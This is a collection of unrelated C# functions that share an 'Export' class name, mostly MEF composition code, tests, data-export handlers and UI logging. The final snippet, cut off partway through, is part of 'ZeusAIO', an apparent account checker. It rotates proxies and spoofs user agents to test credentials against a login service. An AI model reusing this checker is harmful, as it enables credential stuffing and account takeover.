/// <summary> /// Initializes a new instance of the <see cref="MefScopedCompositionContext"/> class. /// </summary> /// <param name="export">The export.</param> public MefScopedCompositionContext(Export<CompositionContext> export) { Contract.Requires(export != null); this.export = export; this.Initialize(this.export.Value); }
public ForceFieldExport(Configuration config, Export source, Type typeToProxy) : base(source.Definition, () => null) { _config = config; _source = source; _typeToProxy = typeToProxy; }
protected override object GetExportedValueCore() { if (this._export == null) { // Need to create a new scopedefinition that is filtered by the ExportProvider var filteredScopeDefinition = new CompositionScopeDefinition( new FilteredCatalog(this._scopeFactoryExport._catalog, this._catalogFilter), this._scopeFactoryExport._catalog.Children); var childContainer = this._scopeFactoryExport._scopeManager.CreateChildContainer(filteredScopeDefinition); var export = childContainer.CatalogExportProvider.CreateExport(this._scopeFactoryExport.UnderlyingPartDefinition, this._scopeFactoryExport.UnderlyingExportDefinition, false, CreationPolicy.Any); lock (this._lock) { if (this._export == null) { this._childContainer = childContainer; Thread.MemoryBarrier(); this._export = export; childContainer = null; export = null; } } if (childContainer != null) { childContainer.Dispose(); } } return this._export.Value; }
static void Main() { try { if (!Directory.Exists(Settings.Default.GAME_PATH)) { throw new FileNotFoundException("Specify correct WoT root folder"); } List<Vehicle> vehicles = new List<Vehicle>(); foreach (string country in Defines.COUNTRIES) { vehicles.AddRange(ListXmlParser.getVehicleByNation(country)); } Export exporter = new Export(vehicles); exporter.genVehicleInfoData2(); exporter.genVehicleInfoData2AS3(); exporter.genVehicleNames(); //exporter.genVehicleInfoData(); need resolve sortNames & special matchmaking definition } catch (Exception ex) { Console.WriteLine("Error:\n" + ex); } #if DEBUG Console.WriteLine("Press any key to close..."); Console.ReadKey(); #endif }
/// <summary> /// Create an Export /// </summary> /// <param name="fields"></param> /// <param name="destinationUri"></param> /// <param name="filter"> </param> /// <returns>The URI for the export</returns> public string CreateExport(Dictionary<string, string> fields, string destinationUri, ExportFilter filter) { Export export = new Export { name = "sample export", fields = fields, filter = filter, secondsToAutoDelete = 3600, secondsToRetainData = 3600, syncActions = new List<SyncAction> { new SyncAction { action = SyncActionType.add, destinationUri = destinationUri } } }; RestRequest request = new RestRequest(Method.POST) { Resource = "/contact/export", RequestFormat = DataFormat.Json, RootElement = "export" }; request.AddBody(export); IRestResponse<Export> response = _client.Execute<Export>(request); Export returnedExport = response.Data; return returnedExport.uri; }
internal UndoExportProvider() { _textUndoHistoryRegistryContractName = AttributedModelServices.GetContractName(typeof(ITextUndoHistoryRegistry)); _basicUndoHistoryRegistryContractName = AttributedModelServices.GetContractName(typeof(IBasicUndoHistoryRegistry)); _basicUndoHistoryRegistry = EditorUtilsFactory.CreateBasicUndoHistoryRegistry(); _export = new Export(_textUndoHistoryRegistryContractName, () => _basicUndoHistoryRegistry); }
/// <summary> /// The main entry point for the application. /// </summary> private static void Main(string[] args) { XmlConfigurator.Configure(); AppDomain.CurrentDomain.UnhandledException += CurrentDomain_UnhandledException; var log = LogManager.GetLogger("VSSyncExportService"); //new LocalLog(GetLogFileName()); try { #if DEBUG var tms = new Export {Log = log}; tms.Execute(); while (true) { Thread.Sleep(10000); } #else log.Info("VSSync Export Service running..."); var export = new Export { Log = log }; var servicesToRun = new ServiceBase[] { export }; ServiceBase.Run(servicesToRun); #endif } catch (Exception ex) { log.Error("Service error.", ex); } }
public ExportDialog(ISequence sequence) { InitializeComponent(); ForeColor = ThemeColorTable.ForeColor; BackColor = ThemeColorTable.BackgroundColor; ThemeUpdateControls.UpdateControls(this); Icon = Resources.Icon_Vixen3; _sequence = sequence; _exportOps = new Export(); _exportOps.SequenceNotify += SequenceNotify; _sequenceFileName = _sequence.FilePath; IEnumerable<string> mediaFileNames = (from media in _sequence.SequenceData.Media where media.GetType().ToString().Contains("Audio") where media.MediaFilePath.Length != 0 select media.MediaFilePath); _audioFileName = ""; if (mediaFileNames.Count() > 0) { _audioFileName = mediaFileNames.First(); } exportProgressBar.Visible = false; currentTimeLabel.Visible = false; _cancelled = false; backgroundWorker1.DoWork += new DoWorkEventHandler(backgroundWorker1_DoWork); backgroundWorker1.ProgressChanged += new ProgressChangedEventHandler(backgroundWorker1_ProgressChanged); }
protected virtual void TryInjectingServicesToVM(Export vmExport, object vm, object containerContext) { var services = (IEnumerable<Type>)vmExport.Metadata[ExportViewModel.ContextAwareServicesProperty]; var serviceConsumerVM = vm as IServiceConsumer; if (serviceConsumerVM != null && services != null) // then we should feed the view model with these services { foreach (var serviceType in services) { //Get services from the MEFComposition Export serviceExport = resolver.GetServiceByContract(serviceType); if (serviceExport != null) { serviceConsumerVM.ServiceLocator.RegisterService(serviceExport.Value, serviceType); InjectContext(serviceExport, containerContext); } else { Debug.WriteLine("Cannot find export for service : " + serviceType.FullName); } } serviceConsumerVM.OnServicesInjected(); } }
public void Constructor2_DefinitionAsDefinitionArgument_ShouldSetDefinitionProperty() { var definition = ExportDefinitionFactory.Create(); var export = new Export(definition, () => null); Assert.AreSame(definition, export.Definition); }
public async Task PerformExport() { Export ex = new Export(); await ex.ExportToCachebox(_gcList, Core.Settings.Default.CacheboxTargetFolder, Core.Settings.Default.CacheboxMaxLogCount); Close(); }
private object CastSingleExportToImportType(Type type, Export export) { if (this.ImportType.CastExport != null) { return this.ImportType.CastExport(export); } return Cast(type, export); }
public static void Add(this ComponentCollection<IdentitySource> collection, string name, IdentitySource source) { Dictionary<string, object> metadata = new Dictionary<string, object>(); metadata.Add("Name", name); var export = new Export<IdentitySource, ComponentMetadata>(metadata, () => source); collection.Add(export); }
protected override IEnumerable<Export> GetExportsCore(ImportDefinition definition, AtomicComposition atomicComposition) { if (typeof(OliveOil).FullName != definition.ContractName) { return Enumerable.Empty<Export>(); } var export = new Export(definition.ContractName, () => new OliveOil()); return new[] { export }; }
private object GetValue(Export innerExport) { var value = innerExport.Value; var context = value as IContextAware; if (context != null) { context.InjectContext(_context); } return value; }
/// <summary> /// Releases unmanaged and - optionally - managed resources. /// </summary> /// <param name="disposing"><c>true</c> to release both managed and unmanaged resources; <c>false</c> to release only unmanaged resources.</param> protected override void Dispose(bool disposing) { if (this.export != null) { this.export.Dispose(); this.export = null; } base.Dispose(disposing); }
public async Task PerformExport() { Export ex = new Export(); await ex.ExportToGDAK(_gcList, Core.Settings.Default.GDAKTargetFolder, Core.Settings.Default.GDAKMaxLogCount, Core.Settings.Default.GDAKExportOfflineImages, Core.Settings.Default.GDAKMaxImagesInFolder); Close(); }
public object CastExportsToImportType(Export[] exports) { if (this.Definition.Cardinality == ImportCardinality.ZeroOrMore) { return CastExportsToCollectionImportType(exports); } else { return CastExportsToSingleImportType(exports); } }
private object CastExportsToSingleImportType(Export[] exports) { Assumes.NotNull(exports); Assumes.IsTrue(exports.Length < 2); if (exports.Length == 0) { return null; } return CastSingleExportToImportType(this.ImportType.ActualType, exports[0]); }
protected override IEnumerable<Export> GetExportsCore(ImportDefinition definition, AtomicComposition atomicComposition) { var contractName = definition.ContractName; if (string.IsNullOrEmpty(contractName)) { // no contract, nothing we can do yield break; } if (definition.Cardinality != ImportCardinality.ZeroOrOne && definition.Cardinality != ImportCardinality.ExactlyOne) { // we only support single value cardinalities yield break; } if (_source.Contains(contractName)) { // import was found to be an app setting - may need to convert it to an appropriate type for the importer Type targetType = null; string stringValue = null; if (ReflectionModelServices.IsImportingParameter(definition)) { // import appears on a parameter var importingParameter = ReflectionModelServices.GetImportingParameter(definition); targetType = importingParameter.Value.ParameterType; stringValue = _source.GetValue(contractName); } else { // import appears on a member (property) var getAccessor = ReflectionModelServices .GetImportingMember(definition) .GetAccessors() .Where(x => x is MethodInfo) .Select(x => x as MethodInfo) .FirstOrDefault(x => (x.Attributes & MethodAttributes.SpecialName) == MethodAttributes.SpecialName && x.Name.StartsWith("get_", StringComparison.Ordinal)); if (getAccessor == null) { // cannot determine type of importing property yield break; } targetType = getAccessor.ReturnType; stringValue = _source.GetValue(contractName); } var export = new Export(contractName, () => Convert.ChangeType(stringValue, targetType)); yield return export; } }
private object GetValue(Export innerExport) { var value = innerExport.Value; if (innerExport.Metadata.Any(x => x.Key == "AreAspectsEnabled")) { var specificMetadata = innerExport.Metadata.Single(x => x.Key == "AreAspectsEnabled"); return (Boolean)specificMetadata.Value == true ? AspectProxy.Factory(value) : value; } return value; }
public fmSmartthai() { InitializeComponent(); IntPtr lHwnd = FindWindow("Shell_TrayWnd", null); SendMessage(lHwnd, WM_COMMAND, (IntPtr)MIN_ALL, IntPtr.Zero); tabTreeview.Enabled = false; tabMM.Enabled = false; tabExport.Enabled = false; st = new Smarttree(treeSmart); wiki = new Wiki(); export = new Export(); }
public override void CreateViewModel(Export viewModelContext, FrameworkElement containerElement) { if (!Designer.IsInDesignMode) // if at runtime { #if SILVERLIGHT RoutedEventHandler handler = null; handler = delegate { if (containerElement.DataContext != null) // it means we have the VM instance now we should inject the services { resolver.SatisfyImports(containerElement.DataContext, containerElement); } containerElement.Loaded -= handler; }; if (containerElement.DataContext == null) containerElement.Loaded += handler; else { handler(null, default(RoutedEventArgs)); } #else DependencyPropertyChangedEventHandler handler = null; handler = delegate { if (containerElement.DataContext != null) // it means we have the VM instance now we should inject the services { resolver.SatisfyImports(containerElement.DataContext, containerElement); } containerElement.DataContextChanged -= handler; }; if (containerElement.DataContext == null) containerElement.DataContextChanged += handler; // we need to wait until the context is set else // DataContext is already set { handler(null, default(DependencyPropertyChangedEventArgs)); } #endif } if(Designer.IsInDesignMode) { base.CreateViewModel(viewModelContext, containerElement ); // this will create the VM and set it as DataContext //if the ViewModel is an IDataContextAware ViewModel then we should call the DesignTimeInitialization var dataContextAwareVM = containerElement.DataContext as IDesignTimeAware; if (dataContextAwareVM != null) dataContextAwareVM.DesignTimeInitialization(); } }
protected void lbtnDownload_Click(object sender, EventArgs e) { Export Export = new Export("Web"); DataTable exportTable = null; Campaign objCampaign = new Campaign(ConnectionString); exportTable = objCampaign.getMailingCampaignsCountWithFile(ConnectionString, assignId, "MailingName", "asc", 0, rowCount, out rowCount); exportTable.Columns.Remove("AssignedCampaignName"); exportTable.Columns.Remove("RowRank"); if (exportTable.Rows.Count != 0) Export.ExportDetails(exportTable, Export.ExportFormat.CSV, "CampaignSummary.csv"); else ScriptManager.RegisterStartupScript(Page, Page.GetType(), "Success", "alert('No Records to Download.')", true); }
public void TryGetExports_NullAsDefinitionArgument_ShouldNotSetExportsArgument() { var provider = ExportProviderFactory.Create(); IEnumerable<Export> exports = new Export[0]; IEnumerable<Export> results = exports; ExceptionAssert.Throws<ArgumentNullException>(() => { provider.TryGetExports((ImportDefinition)null, null, out results); }); Assert.AreSame(exports, results); }
public override void CreateViewModel(Export viewModelContext, FrameworkElement containerElement) { if (!Designer.IsInDesignMode) // if at runtime { #if SILVERLIGHT RoutedEventHandler handler = null; handler = delegate { var newContext = containerElement.DataContext as IServiceConsumer; if (newContext != null) // it means we have the VM instance now we should inject the services { TryInjectingServicesToVM(viewModelContext, newContext, containerElement); } containerElement.Loaded -= handler; }; if (containerElement.DataContext == null) containerElement.Loaded += handler; else { handler(null, default(RoutedEventArgs)); } #else DependencyPropertyChangedEventHandler handler = null; handler = delegate { var newContext = containerElement.DataContext as IServiceConsumer; if (newContext != null) // it means we have the VM instance now we should inject the services { TryInjectingServicesToVM(viewModelContext, newContext, containerElement); } containerElement.DataContextChanged -= handler; }; if (containerElement.DataContext == null) containerElement.DataContextChanged += handler; // we need to wait until the context is set else // DataContext is already set { handler(null, default(DependencyPropertyChangedEventArgs)); } #endif } else // at design time { base.CreateViewModel(viewModelContext, containerElement ); // this will create the VM and set it as DataContext } }
protected override IEnumerable<Export> GetExportsCore(ImportDefinition aDefinition, AtomicComposition aAtomicComposition) { List<Export> _Exports = new List<Export>(); MEFExportItem _MEFExportItem; if (mappings.TryGetValue(aDefinition.ContractName, out _MEFExportItem)) { Type _Type = Type.GetType(_MEFExportItem.Type); object[] _Parameters = CreateParameters(_MEFExportItem.Arguments); Type[] _ParameterTypes = _Parameters.Select(x => x.GetType()).ToArray(); object _Instance = _Type.GetConstructor(_ParameterTypes).Invoke(_Parameters); ExportDefinition _ExportDefintion = new ExportDefinition(aDefinition.ContractName, new Dictionary<string, object>()); Export _NewExport = new Export(_ExportDefintion, () => _Instance); _Exports.Add(_NewExport); } return _Exports; }
/// <summary> /// Gets all exports for this provider. /// </summary> /// <param name="definition">The import definition to match.</param> /// <param name="atomicComposition">The atomic composition.</param> /// <returns>An enumerable of available exports.</returns> protected override IEnumerable<Export> GetExportsCore(ImportDefinition definition, AtomicComposition atomicComposition) { if (definition.ContractName != null) { Type contractType; if (contractMapping.TryGetValue(definition.ContractName, out contractType)) { if (definition.Cardinality == ImportCardinality.ExactlyOne || definition.Cardinality == ImportCardinality.ZeroOrOne) { var export = new Export(definition.ContractName, () => serviceLocator.GetInstance(contractType)); return new List<Export> { export }; } } } return Enumerable.Empty<Export>(); }
protected void lbtnDownload_Click(object sender, EventArgs e) { Export Export = new Export("Web"); DataTable table = null; int pageSize = Convert.ToInt32(Request.QueryString["pageSize"].ToString()); if (Request.QueryString["Type"] != null && Request.QueryString["Type"].ToString().Equals("TotalContacted")) { table = ContactMaster.SelectSuccessfulDeliveredByCampId_PageWise(ConnectionString, mailingId.ToString(), GridSortExpression, GridViewSortDirection, 0, pageSize, out Count); if (table.Rows.Count != 0) { Export.ExportDetails(table, Export.ExportFormat.CSV, "ExportedContacts_TotalContacted.csv"); } else ScriptManager.RegisterStartupScript(Page, Page.GetType(), "Success", "alert('No Records to Download.')", true); } if (Request.QueryString["Type"] != null && Request.QueryString["Type"].ToString().Equals("UniqueEmailOpens")) { table = ContactMaster.EmailOpendRecByCampId_PageWise(ConnectionString, mailingId.ToString(), GridSortExpression, GridViewSortDirection, 0, pageSize, out Count, out TotalOpenCounts, out UniqueOpenCounts); if (table.Rows.Count != 0) { Export.ExportDetails(table, Export.ExportFormat.CSV, "ExportedContacts_UniqueEmailOpens.csv"); } else ScriptManager.RegisterStartupScript(Page, Page.GetType(), "Success", "alert('No Records to Download.')", true); } if (Request.QueryString["Type"] != null && Request.QueryString["Type"].ToString().Equals("UniqueEmailClicks")) { table = ContactMaster.EmailClickedRecByCampId_PageWise(ConnectionString, mailingId.ToString(), GridSortExpression, GridViewSortDirection, 0, pageSize, out Count, out TotalClickCounts, out UniqueClickCounts); if (table.Rows.Count != 0) { Export.ExportDetails(table, Export.ExportFormat.CSV, "ExportedContacts_UniqueEmailClicks.csv"); } else ScriptManager.RegisterStartupScript(Page, Page.GetType(), "Success", "alert('No Records to Download.')", true); } if (Request.QueryString["Type"] != null && Request.QueryString["Type"].ToString().Equals("UniqueFormSubmits")) { table = ContactMaster.EmailWheelockClickedRecByCampId_PageWise(ConnectionString, mailingId.ToString(), GridSortExpression, GridViewSortDirection, 0, pageSize, out Count); if (table.Rows.Count != 0) { Export.ExportDetails(table, Export.ExportFormat.CSV, "ExportedContacts_UniqueFormSubmits.csv"); } else ScriptManager.RegisterStartupScript(Page, Page.GetType(), "Success", "alert('No Records to Download.')", true); } }
/// <summary> /// Create the ViewModel and injects any services needed /// </summary> /// <param name="viewModelContext"></param> /// <param name="containerElement"></param> /// <param name="dataServicesFactories"></param> public virtual void CreateViewModel(Export viewModelContext, FrameworkElement containerElement) { var vm = viewModelContext.Value; if (vm == null) throw new InvalidOperationException(CannotFindViewModel); TryInjectingServicesToVM(viewModelContext, vm, containerElement); containerElement.DataContext = vm; if (Designer.IsInDesignMode) { //if the ViewModel is an IDataContextAware ViewModel then we should call the DesignTimeInitialization var dataContextAwareVM = containerElement.DataContext as IDesignTimeAware; if (dataContextAwareVM != null) dataContextAwareVM.DesignTimeInitialization(); } }
static void widget_EventKeyLostFocus(Widget _sender, Widget _new) { Export.DebugOut("EventKeyLostFocus _new=" + (_new == null ? "null" : _new.ToString())); }
/// <summary> /// Starts the export of sensor data values for a particular point in time. This call must be followed by a call to <see cref="EndTimestamp"/>. /// Use <see cref="Field"/> to export field information. /// </summary> /// <param name="Timestamp">Timestamp</param> public void StartTimestamp(DateTime Timestamp) { Export.StartExportTimestamp(this.xml, Timestamp); }
static void widget_EventKeySetFocus(Widget _sender, Widget _old) { Export.DebugOut("EventKeySetFocus _old=" + (_old == null ? "null" : _old.ToString())); }
public void When_DelayTransientBreakpoints_Expect_Reference() { // Build the circuit var ckt = new Circuit( new VoltageSource("V1", "in", "0", new Pulse(0, 5, 1e-7, 1e-7, 1e-7, 1e-5, 2e-5)), new VoltageDelay("Delay1", "out", "0", "in", "0", 0.5e-5) // This will make the delay element add a breakpoint when the input changes rapidly .SetParameter("reltol", 0.5) ); // Build the simulation var tran = new Transient("tran", 1e-7, 10e-5); var exports = new Export <double>[] { new GenericExport <double>(tran, () => tran.Method.Time), new RealVoltageExport(tran, "in"), new RealVoltageExport(tran, "out"), }; var references = new[] { new[] { 0, 1E-09, 2E-09, 4E-09, 8E-09, 1.6E-08, 3.2E-08, 6.4E-08, 1E-07, 1.064E-07, 1.192E-07, 1.448E-07, 1.96E-07, 2E-07, 2.08E-07, 2.24E-07, 2.55999999999999E-07, 3.19999999999999E-07, 4.47999999999997E-07, 7.03999999999994E-07, 1.21599999999999E-06, 2.23999999999998E-06, 4.23999999999998E-06, 5.1E-06, 5.11E-06, 5.13E-06, 5.17E-06, 5.2E-06, 5.208E-06, 5.224E-06, 5.256E-06, 5.32E-06, 5.448E-06, 5.704E-06, 6.216E-06, 7.24E-06, 9.24E-06, 1.02E-05, 1.021E-05, 1.023E-05, 1.027E-05, 1.03E-05, 1.0308E-05, 1.0324E-05, 1.0356E-05, 1.042E-05, 1.0548E-05, 1.0804E-05, 1.1316E-05, 1.234E-05, 1.434E-05, 1.52E-05, 1.521E-05, 1.523E-05, 1.527E-05, 1.53E-05, 1.5308E-05, 1.5324E-05, 1.5356E-05, 1.542E-05, 1.5548E-05, 1.5804E-05, 1.6316E-05, 1.73400000000001E-05, 1.93400000000001E-05, 2.01E-05, 2.011E-05, 2.013E-05, 2.017E-05, 2.02E-05, 2.0208E-05, 2.0224E-05, 2.0256E-05, 2.032E-05, 2.0448E-05, 2.0704E-05, 2.1216E-05, 2.224E-05, 2.424E-05, 2.51E-05, 2.511E-05, 2.513E-05, 2.517E-05, 2.52E-05, 2.5208E-05, 2.5224E-05, 2.5256E-05, 2.532E-05, 2.5448E-05, 2.5704E-05, 2.6216E-05, 2.724E-05, 2.924E-05, 3.02E-05, 3.021E-05, 3.023E-05, 3.027E-05, 3.03E-05, 3.0308E-05, 3.0324E-05, 3.0356E-05, 3.042E-05, 3.0548E-05, 3.0804E-05, 3.1316E-05, 3.234E-05, 3.434E-05, 3.52E-05, 3.521E-05, 3.523E-05, 3.527E-05, 3.53E-05, 3.5308E-05, 3.5324E-05, 3.5356E-05, 3.542E-05, 3.5548E-05, 3.5804E-05, 3.6316E-05, 3.73400000000001E-05, 3.93400000000001E-05, 4.01E-05, 4.011E-05, 4.013E-05, 4.017E-05, 4.02E-05, 4.0208E-05, 4.0224E-05, 4.0256E-05, 4.032E-05, 4.0448E-05, 4.0704E-05, 4.1216E-05, 4.22400000000001E-05, 4.42400000000001E-05, 4.51E-05, 4.511E-05, 4.513E-05, 4.517E-05, 4.52E-05, 4.5208E-05, 4.5224E-05, 4.5256E-05, 4.532E-05, 4.5448E-05, 4.5704E-05, 4.6216E-05, 4.724E-05, 4.92400000000001E-05, 5.02E-05, 5.021E-05, 5.023E-05, 5.027E-05, 5.03E-05, 5.0308E-05, 5.0324E-05, 5.0356E-05, 5.042E-05, 5.0548E-05, 5.0804E-05, 5.1316E-05, 5.23400000000001E-05, 5.43400000000001E-05, 5.52E-05, 5.521E-05, 5.523E-05, 5.527E-05, 5.53E-05, 5.5308E-05, 5.5324E-05, 5.5356E-05, 5.542E-05, 5.5548E-05, 5.5804E-05, 5.6316E-05, 5.73400000000001E-05, 5.93400000000001E-05, 6.01E-05, 6.011E-05, 6.013E-05, 6.017E-05, 6.02E-05, 6.0208E-05, 6.0224E-05, 6.0256E-05, 6.032E-05, 6.0448E-05, 6.0704E-05, 6.1216E-05, 6.22400000000001E-05, 6.42400000000001E-05, 6.51E-05, 6.511E-05, 6.513E-05, 6.517E-05, 6.52E-05, 6.5208E-05, 6.5224E-05, 6.5256E-05, 6.532E-05, 6.5448E-05, 6.5704E-05, 6.6216E-05, 6.72400000000001E-05, 6.92400000000001E-05, 7.02E-05, 7.021E-05, 7.023E-05, 7.027E-05, 7.03E-05, 7.0308E-05, 7.0324E-05, 7.0356E-05, 7.042E-05, 7.0548E-05, 7.0804E-05, 7.1316E-05, 7.23400000000001E-05, 7.43400000000001E-05, 7.52E-05, 7.521E-05, 7.523E-05, 7.527E-05, 7.53E-05, 7.5308E-05, 7.5324E-05, 7.5356E-05, 7.542E-05, 7.5548E-05, 7.5804E-05, 7.6316E-05, 7.73400000000001E-05, 7.93400000000001E-05, 8.01E-05, 8.011E-05, 8.013E-05, 8.017E-05, 8.02E-05, 8.0208E-05, 8.0224E-05, 8.0256E-05, 8.032E-05, 8.0448E-05, 8.0704E-05, 8.1216E-05, 8.22400000000001E-05, 8.42400000000001E-05, 8.51E-05, 8.511E-05, 8.513E-05, 8.517E-05, 8.52E-05, 8.5208E-05, 8.5224E-05, 8.5256E-05, 8.532E-05, 8.5448E-05, 8.5704E-05, 8.6216E-05, 8.72400000000001E-05, 8.92400000000001E-05, 9.02E-05, 9.021E-05, 9.023E-05, 9.027E-05, 9.03E-05, 9.0308E-05, 9.0324E-05, 9.0356E-05, 9.042E-05, 9.0548E-05, 9.0804E-05, 9.1316E-05, 9.23400000000001E-05, 9.43400000000001E-05, 9.52E-05, 9.521E-05, 9.523E-05, 9.527E-05, 9.53E-05, 9.5308E-05, 9.5324E-05, 9.5356E-05, 9.542E-05, 9.5548E-05, 9.5804E-05, 9.6316E-05, 9.73400000000001E-05, 9.93400000000001E-05, 0.0001 }, new[] { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.32, 0.960000000000001, 2.24, 4.8, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4.50000000000009, 3.5000000000001, 1.50000000000012, 4.79616346638068E-14, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.50000000000008, 1.50000000000007, 3.50000000000005, 4.99999999999995, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4.49999999999992, 3.49999999999993, 1.49999999999995, 4.79616346638068E-14, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.499999999999741, 1.4999999999999, 3.49999999999988, 4.99999999999978, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4.49999999999992, 3.49999999999976, 1.49999999999978, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.50000000000008, 1.50000000000024, 3.50000000000022, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4.50000000000026, 3.5000000000001, 1.49999999999978, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.499999999999741, 1.4999999999999, 3.50000000000022, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4.50000000000026, 3.5000000000001, 1.49999999999978, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, new[] { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.49999999999999, 1.49999999999998, 3.49999999999996, 4.99999999999999, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4.50000000000018, 3.50000000000018, 1.50000000000003, 4.79616346637966E-14, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.50000000000008, 1.50000000000007, 3.50000000000005, 4.99999999999995, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4.49999999999992, 3.49999999999976, 1.49999999999978, 4.79616346637864E-14, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.499999999999741, 1.4999999999999, 3.49999999999988, 4.99999999999978, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4.49999999999992, 3.49999999999976, 1.49999999999978, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.499999999999741, 1.4999999999999, 3.50000000000022, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4.50000000000026, 3.5000000000001, 1.49999999999978, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.499999999999741, 1.4999999999999, 3.50000000000022, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4.50000000000026, 3.5000000000001, 1.49999999999978, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, }; // Analyze AnalyzeTransient(tran, ckt, exports, references); DestroyExports(exports); }
private void exportToXlsLink_OpenLink(object sender, DevExpress.XtraEditors.Controls.OpenLinkEventArgs e) { Export.ExportGridToFile(gridControl1, "xls"); }
static void widget_EventMouseWheel(Widget _sender, int _rel) { Export.DebugOut("EventMouseWheel _rel=" + _rel.ToString()); }
/// <summary> /// Exports a field. /// </summary> /// <param name="Field">Field.</param> public void Field(Field Field) { Export.ExportField(this.xml, Field); }
static void widget_EventRootKeyChangeFocus(Widget _sender, bool _focus) { Export.DebugOut("EventRootKeyChangeFocus _focus=" + _focus.ToString()); }
static void widget_EventKeyButtonPressed(Widget _sender, KeyCode _key, uint _char) { Export.DebugOut("EventMouseMove _key=" + _key.ToString() + " _char=" + _char.ToString()); }
static void tab_EventTabChangeSelect(TabControl _sender, uint _index) { Export.DebugOut("EventTabChangeSelect index=" + _index.ToString()); }
static void widget_EventToolTip(Widget _sender, ref ToolTipInfo _info) { Export.DebugOut("EventToolTip _info=" + _info.ToString()); }
public void Start(Action <TTelemetryBatch> onBatchReceived) { if (this.IsRunning) { throw new InvalidOperationException( FormattableString.Invariant($"Can't Start the input, it's already running")); } this.stats = new InputStats(); this.cts = new CancellationTokenSource(); this.onBatchReceived = onBatchReceived; try { this.server = new Server { Services = { this.aiServer != null ? AITelemetryService.BindService(this.aiServer) : Export.BindService(this.openCensusServer) }, Ports = { new ServerPort(this.host, this.port, ServerCredentials.Insecure) } }; this.server.Start(); this.IsRunning = true; } catch (System.Exception e) { throw new InvalidOperationException( FormattableString.Invariant($"Could not initialize the gRPC server. {e.ToString()}")); } }
/// <summary> /// Exports a numerical field. /// </summary> /// <param name="FieldName">Field name.</param> /// <param name="Value">Value.</param> /// <param name="Type">Type.</param> /// <param name="Status">Status.</param> public void ExportField(string FieldName, long Value, ReadoutType Type, FieldStatus Status) { Export.ExportField(this.xml, FieldName, Value, Type, Status); }
/// <summary> /// Exports a numerical field. /// </summary> /// <param name="FieldName">Field name.</param> /// <param name="Value">Value.</param> /// <param name="NrDecimals">Number of decimals.</param> /// <param name="Unit">Unit.</param> /// <param name="Type">Type.</param> /// <param name="Status">Status.</param> public void ExportField(string FieldName, double Value, int NrDecimals, string Unit, ReadoutType Type, FieldStatus Status) { Export.ExportField(this.xml, FieldName, Value, NrDecimals, Unit, Type, Status); }
static void widget_EventMouseButtonDoubleClick(Widget _sender) { Export.DebugOut("EventMouseButtonDoubleClick"); }
public static bool CheckAccount(string[] s, string proxy) { for (int i = 0; i < Config.config.Retries + 1; i++) { while (true) { try { Retry: using (HttpRequest httpRequest = new HttpRequest()) { proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount)); if (ZeusAIO.mainmenu.proxyProtocol == "HTTP") { httpRequest.Proxy = HttpProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4") { httpRequest.Proxy = Socks4ProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5") { httpRequest.Proxy = Socks5ProxyClient.Parse(proxy); } httpRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"; httpRequest.IgnoreProtocolErrors = true; httpRequest.AllowAutoRedirect = true; httpRequest.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(httpRequest.SslCertificateValidatorCallback, new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify())); string str = 